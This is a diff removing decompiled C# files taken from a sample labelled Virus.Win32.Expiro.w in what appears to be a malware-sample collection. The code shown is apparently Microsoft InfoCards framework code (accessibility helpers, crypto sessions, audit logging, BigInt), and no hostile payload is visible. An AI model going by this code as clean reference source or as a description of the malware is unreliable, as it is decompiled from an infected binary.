"The AT applications are already started"); - this.m_fResetConfigKey = false; - this.m_sessionId = userSessionId; - string str = userIdentity.User.Value; - for (int index = 0; index < this.m_applicationList.Count; ++index) - { - string application = this.m_applicationList[index]; - Process[] processesByName = Process.GetProcessesByName(application.Substring(0, application.LastIndexOf('.'))); - if (processesByName != null) - { - foreach (Process p in processesByName) - { - if (userSessionId == p.SessionId) - { - this.m_fResetConfigKey = true; - if (!Utility.KillHelper(p)) - break; - break; - } - } - } - } - if (this.m_manager == null) - this.m_manager = new ProcessManager(userSessionId, trustedUserSid); - string fullPath1 = Path.Combine(AccessibilityHelperForVista.systemPath, "AtBroker.exe"); - if (userATApplicationFlags != 0U) - { - bool fUseElevatedToken = false; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, fullPath1, "", fUseElevatedToken); - } - if (!this.m_fTabletPC) - return; - string fullPath2 = Path.Combine(AccessibilityHelperForVista.progfilePath, "microsoft shared\\ink\\tabtip.exe"); - bool fUseElevatedToken1 = true; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, fullPath2, "/SeekDesktop:", fUseElevatedToken1); - } - } - - public void Dispose() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs deleted file mode 100644 index c0d4906d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs +++ /dev/null @@ -1,169 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AccessibilityHelperForXpWin2k3 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AccessibilityHelperForXpWin2k3 : IAccessibilityHelper, IDisposable - { - private const int OSKIndex = 0; - private static readonly string systemPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - private static readonly string baseRegistryPath = "\\SOFTWARE\\Microsoft\\Utility Manager\\"; - private static readonly string keyName = "Start on locked desktop"; - internal static AccessibilityHelperForXpWin2k3.DownlevelAtData[] atApplications = new AccessibilityHelperForXpWin2k3.DownlevelAtData[3] - { - new AccessibilityHelperForXpWin2k3.DownlevelAtData("On-Screen Keyboard", "osk.exe", "msswchx"), - new AccessibilityHelperForXpWin2k3.DownlevelAtData("Magnifier", "magnify.exe", (string) null), - new AccessibilityHelperForXpWin2k3.DownlevelAtData("Narrator", "narrator.exe", (string) null) - }; - private List m_restartList = new List(); - private ProcessManager m_manager; - private bool m_fTabletPC; - - public AccessibilityHelperForXpWin2k3(bool fTabletPC) => this.m_fTabletPC = fTabletPC; - - void IAccessibilityHelper.Stop() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - - bool IAccessibilityHelper.RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications must be terminated before they can be restarted"); - using (new SystemIdentity(false)) - { - foreach (int restart in this.m_restartList) - { - string application = Path.Combine(AccessibilityHelperForXpWin2k3.systemPath, AccessibilityHelperForXpWin2k3.atApplications[restart].Image); - int pid = 0; - int userHelperWrapper = (int) NativeMcppMethods.CreateProcessAsUserHelperWrapper(application, "", userProcessId, userDesktop, userIdentity.Name, ref pid); - } - } - this.m_restartList.Clear(); - return false; - } - - void IAccessibilityHelper.RestartOnInfoCardDesktop( - uint ATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity) - { - using (new SystemIdentity(false)) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications are already started"); - this.m_restartList.Clear(); - bool flag1 = false; - string str = userIdentity.User.Value; - for (int index = 0; index < AccessibilityHelperForXpWin2k3.atApplications.Length; ++index) - { - using (RegistryKey registryKey = Registry.Users.OpenSubKey(str + AccessibilityHelperForXpWin2k3.baseRegistryPath + AccessibilityHelperForXpWin2k3.atApplications[index].RegistryPath)) - { - bool flag2 = false; - int? nullable1 = new int?(); - if (registryKey != null && RegistryValueKind.DWord == registryKey.GetValueKind(AccessibilityHelperForXpWin2k3.keyName)) - nullable1 = new int?((int) registryKey.GetValue(AccessibilityHelperForXpWin2k3.keyName)); - if (nullable1.HasValue) - { - int? nullable2 = nullable1; - if ((1 != nullable2.GetValueOrDefault() ? 0 : (nullable2.HasValue ? 1 : 0)) != 0) - goto label_9; - } - if (this.m_fTabletPC) - { - if (index != 0) - continue; - } - else - continue; -label_9: - foreach (Process p in Process.GetProcessesByName(AccessibilityHelperForXpWin2k3.atApplications[index].Image.Substring(0, AccessibilityHelperForXpWin2k3.atApplications[index].Image.LastIndexOf('.')))) - { - flag2 = false; - if (userSessionId == p.SessionId) - { - flag2 = true; - this.m_restartList.Add(index); - if (!Utility.KillHelper(p)) - break; - break; - } - } - if (flag2 && AccessibilityHelperForXpWin2k3.atApplications[index].AdditionalImage != null) - { - foreach (Process p in Process.GetProcessesByName(AccessibilityHelperForXpWin2k3.atApplications[index].AdditionalImage)) - { - if (userSessionId == p.SessionId && Utility.KillHelper(p)) - break; - } - } - if (nullable1.HasValue) - { - int? nullable3 = nullable1; - if ((1 != nullable3.GetValueOrDefault() ? 0 : (nullable3.HasValue ? 1 : 0)) != 0) - { - if (ATApplicationFlags != 0U) - { - string fullPath = Path.Combine(AccessibilityHelperForXpWin2k3.systemPath, AccessibilityHelperForXpWin2k3.atApplications[index].Image); - if (this.m_manager == null) - this.m_manager = new ProcessManager(userSessionId, trustedUserSid); - bool fUseElevatedToken = false; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, fullPath, "", fUseElevatedToken); - if (index == 0) - flag1 = true; - } - } - } - } - } - if (!this.m_fTabletPC || flag1) - return; - if (this.m_manager == null) - this.m_manager = new ProcessManager(userSessionId, trustedUserSid); - bool fUseElevatedToken1 = false; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, Path.Combine(AccessibilityHelperForXpWin2k3.systemPath, AccessibilityHelperForXpWin2k3.atApplications[0].Image), "", fUseElevatedToken1); - } - } - - public void Dispose() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - - internal struct DownlevelAtData - { - public string RegistryPath; - public string Image; - public string AdditionalImage; - - public DownlevelAtData(string path, string image, string additional) - { - this.RegistryPath = path; - this.Image = image; - this.AdditionalImage = additional; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AppliesToBehaviorDecision.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AppliesToBehaviorDecision.cs deleted file mode 100644 index 6b3b381b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AppliesToBehaviorDecision.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AppliesToBehaviorDecision -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal enum AppliesToBehaviorDecision : byte - { - DoNotSend, - SendRPAppliesTo, - SendCustomAppliesTo, - FailMatch, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs deleted file mode 100644 index 581355b2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AppliesToBehaviorDecisionTable -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.ServiceModel; - -namespace Microsoft.InfoCards -{ - internal static class AppliesToBehaviorDecisionTable - { - private static AppliesToBehaviorDecision[,] appliesToDecisionTable = new AppliesToBehaviorDecision[2, 3]; - - static AppliesToBehaviorDecisionTable() - { - AppliesToBehaviorDecisionTable.appliesToDecisionTable[0, 0] = AppliesToBehaviorDecision.DoNotSend; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[1, 0] = AppliesToBehaviorDecision.FailMatch; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[0, 1] = AppliesToBehaviorDecision.DoNotSend; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[1, 1] = AppliesToBehaviorDecision.SendRPAppliesTo; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[0, 2] = AppliesToBehaviorDecision.SendCustomAppliesTo; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[1, 2] = AppliesToBehaviorDecision.SendRPAppliesTo; - } - - private static AppliesToBehaviorDecision GetAppliesToBehaviorDecision( - InfoCardPolicy policy, - RequireAppliesToStatus requireAppliesTo, - bool considerUnrecognizedElements) - { - int index = (EndpointAddress) null == policy.PolicyAppliesTo ? 0 : 1; - if (considerUnrecognizedElements) - index = policy.NonWhiteListElementsFound ? 1 : index; - return AppliesToBehaviorDecisionTable.appliesToDecisionTable[index, (int) requireAppliesTo]; - } - - public static AppliesToBehaviorDecision GetAppliesToBehaviorDecisionForRst( - InfoCardPolicy policy, - RequireAppliesToStatus requireAppliesTo) - { - return AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecision(policy, requireAppliesTo, false); - } - - public static AppliesToBehaviorDecision GetAppliesToBehaviorDecisionForPolicyMatch( - InfoCardPolicy policy, - RequireAppliesToStatus requireAppliesTo) - { - return AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecision(policy, requireAppliesTo, true); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Asn1Utilities.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Asn1Utilities.cs deleted file mode 100644 index af50f755..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Asn1Utilities.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Asn1Utilities -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal class Asn1Utilities - { - private Asn1Utilities() - { - } - - public static string ToHexDump(byte[] bytes) => ""; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AsymmetricCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AsymmetricCryptoSession.cs deleted file mode 100644 index 73e3adcb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AsymmetricCryptoSession.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AsymmetricCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AsymmetricCryptoSession : CryptoSession - { - private RSACryptoServiceProvider m_provider; - - public AsymmetricCryptoSession( - Process process, - DateTime expirationTime, - WindowsIdentity identity, - RSACryptoServiceProvider key) - : base(process, expirationTime, identity, (object) key, CryptoSession.SessionType.Asymmetric) - { - this.m_provider = key; - } - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_provider.KeySize); - Utility.SerializeString(bwriter, this.m_provider.KeyExchangeAlgorithm); - Utility.SerializeString(bwriter, this.m_provider.SignatureAlgorithm); - } - - protected override void OnDispose() - { - this.m_provider.Clear(); - this.m_provider.Dispose(); - this.m_provider = (RSACryptoServiceProvider) null; - } - - public byte[] Encrypt(bool fOAEP, byte[] inData) - { - this.ThrowIfDisposed(); - return this.m_provider.Encrypt(inData, fOAEP); - } - - public byte[] Decrypt(bool fOAEP, byte[] inData) - { - this.ThrowIfDisposed(); - return this.m_provider.Decrypt(inData, fOAEP); - } - - public byte[] SignHash(byte[] hash, string hashAlgOid) - { - this.ThrowIfDisposed(); - return this.m_provider.SignHash(hash, hashAlgOid); - } - - public bool VerifyHash(byte[] hash, string hashAlgOid, byte[] sig) - { - this.ThrowIfDisposed(); - return this.m_provider.VerifyHash(hash, hashAlgOid, sig); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AsyncParams.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AsyncParams.cs deleted file mode 100644 index 8c90f6ed..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AsyncParams.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AsyncParams -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.Win32.SafeHandles; - -namespace Microsoft.InfoCards -{ - internal abstract class AsyncParams - { - private RpcAsyncResult m_asyncResult; - - protected AsyncParams(ClientRequest request, string opType, SafeWaitHandle externEvent) => this.m_asyncResult = new RpcAsyncResult(request, opType, externEvent); - - public RpcAsyncResult AsyncResult => this.m_asyncResult; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AuditLog.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AuditLog.cs deleted file mode 100644 index 0eac414a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AuditLog.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AuditLog -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal static class AuditLog - { - public static void AuditCardWritten() => InfoCardTrace.Audit(EventCode.AUDIT_CARD_WRITTEN); - - public static void AuditCardDeletion() => InfoCardTrace.Audit(EventCode.AUDIT_CARD_DELETE); - - public static void AuditCardImport() => InfoCardTrace.Audit(EventCode.AUDIT_CARD_IMPORT); - - public static void AuditStoreImport() => InfoCardTrace.Audit(EventCode.AUDIT_STORE_IMPORT); - - public static void AuditStoreExport() => InfoCardTrace.Audit(EventCode.AUDIT_STORE_EXPORT); - - public static void AuditStoreDeletion() => InfoCardTrace.Audit(EventCode.AUDIT_STORE_DELETE); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs deleted file mode 100644 index 1917e14e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BeginCreateSecurityTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class BeginCreateSecurityTokenRequest : UIAgentAsyncBeginRequest - { - private bool m_discloseOptional; - private TokenFactoryCredential m_credential; - - public BeginCreateSecurityTokenRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncInArgs(BinaryReader reader) - { - this.m_discloseOptional = reader.ReadBoolean(); - this.m_credential = TokenFactoryCredential.CreateFrom(reader, (UIAgentRequest) this, this.ParentRequest.UserLanguage); - } - - protected override object AsyncExecute(AsyncParams asyncParam) => (object) ((GetTokenRequest) this.ParentRequest).CreateSecurityToken(this.m_credential, this.m_discloseOptional); - - protected override void AsyncCancel() => ((GetTokenRequest) this.ParentRequest).CancelCreateSecurityToken(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs deleted file mode 100644 index 392f2121..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs +++ /dev/null @@ -1,72 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BeginGetFileNameFromUserRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class BeginGetFileNameFromUserRequest : UIAgentAsyncBeginRequest - { - private bool m_getContent; - private string m_arguments; - - public BeginGetFileNameFromUserRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncInArgs(BinaryReader reader) - { - this.m_getContent = reader.ReadBoolean(); - this.m_arguments = Utility.DeserializeString(reader); - } - - protected override object AsyncExecute(AsyncParams asyncParams) - { - uint num = 0; - string empty = string.Empty; - GetFileNameResult getFileNameResult = new GetFileNameResult(); - using (new SystemIdentity(true)) - num = NativeMcppMethods.CreateAndWaitForFileOpenDialogWrapper(this.m_arguments, this.RequestorIdentity, this.ParentRequest.CallerPid, ref empty); - if (num == 0U) - { - try - { - getFileNameResult.FileName = empty; - if (this.m_getContent) - { - if (!string.IsNullOrEmpty(empty)) - { - FileInfo fileInfo = new FileInfo(empty); - using (FileStream fileStream = File.OpenRead(empty)) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader((Stream) fileStream); - getFileNameResult.FileContent = binaryReader.ReadBytes((int) fileInfo.Length); - } - } - } - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new FileAccessException(SR.GetString("ServiceInaccessibleFile"), ex)); - throw; - } - } - return (object) getFileNameResult; - } - - protected override void AsyncCancel() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BeginSelectCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BeginSelectCardRequest.cs deleted file mode 100644 index 072821e9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BeginSelectCardRequest.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BeginSelectCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class BeginSelectCardRequest : UIAgentAsyncBeginRequest - { - private InfoCard m_card; - - public BeginSelectCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncInArgs(BinaryReader reader) - { - this.m_card = new InfoCard(reader.BaseStream); - this.m_card.GetExtendedInformation().Deserialize(reader.BaseStream); - this.m_card.GetRPIdentityRequirement().Deserialize(reader.BaseStream); - this.m_card.GetClaims().Deserialize(reader.BaseStream); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCardMasterKey masterKey = this.m_card.GetMasterKey(connection); - if (!this.m_card.IsPinProtected) - return; - masterKey.Decrypt(masterKey.GetPinHelper(this.m_card.Pin)); - } - finally - { - connection.Close(); - } - } - - protected override object AsyncExecute(AsyncParams asyncParam) => (object) ((GetTokenRequest) this.ParentRequest).SelectCard(this.m_card, this.m_card.IsSelfIssued); - - protected override void AsyncCancel() => ((GetTokenRequest) this.ParentRequest).CancelSelectCard(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BigInt.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BigInt.cs deleted file mode 100644 index c2fecb3b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BigInt.cs +++ /dev/null @@ -1,400 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BigInt -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; - -namespace Microsoft.InfoCards -{ - internal sealed class BigInt - { - private const int m_maxbytes = 128; - private const int m_base = 256; - private byte[] m_elements; - private int m_size; - private static readonly char[] decValues = new char[10] - { - '0', - '1', - '2', - '3', - '4', - '5', - '6', - '7', - '8', - '9' - }; - - internal BigInt() => this.m_elements = new byte[128]; - - internal BigInt(byte[] b) - { - this.m_elements = new byte[128]; - Array.Copy((Array) b, (Array) this.m_elements, b.Length); - this.m_size = b.Length; - } - - internal BigInt(byte b) - { - this.m_elements = new byte[128]; - this.SetDigit(0, b); - } - - internal int Size - { - get => this.m_size; - set - { - this.m_size = value; - if (value > 128) - this.m_size = 128; - if (value >= 0) - return; - this.m_size = 0; - } - } - - internal byte GetDigit(int index) => index < 0 || index >= this.m_size ? (byte) 0 : this.m_elements[index]; - - internal void SetDigit(int index, byte digit) - { - if (index < 0 || index >= 128) - return; - this.m_elements[index] = digit; - if (index >= this.m_size && digit != (byte) 0) - this.m_size = index + 1; - if (index != this.m_size - 1 || digit != (byte) 0) - return; - --this.m_size; - } - - internal void SetDigit(int index, byte digit, ref int size) - { - if (index < 0 || index >= 128) - return; - this.m_elements[index] = digit; - if (index >= size && digit != (byte) 0) - size = index + 1; - if (index != size - 1 || digit != (byte) 0) - return; - --size; - } - - public static bool operator <(BigInt value1, BigInt value2) - { - if (value1 == (BigInt) null) - return true; - if (value2 == (BigInt) null) - return false; - int size1 = value1.Size; - int size2 = value2.Size; - if (size1 != size2) - return size1 < size2; - while (size1-- > 0) - { - if ((int) value1.m_elements[size1] != (int) value2.m_elements[size1]) - return (int) value1.m_elements[size1] < (int) value2.m_elements[size1]; - } - 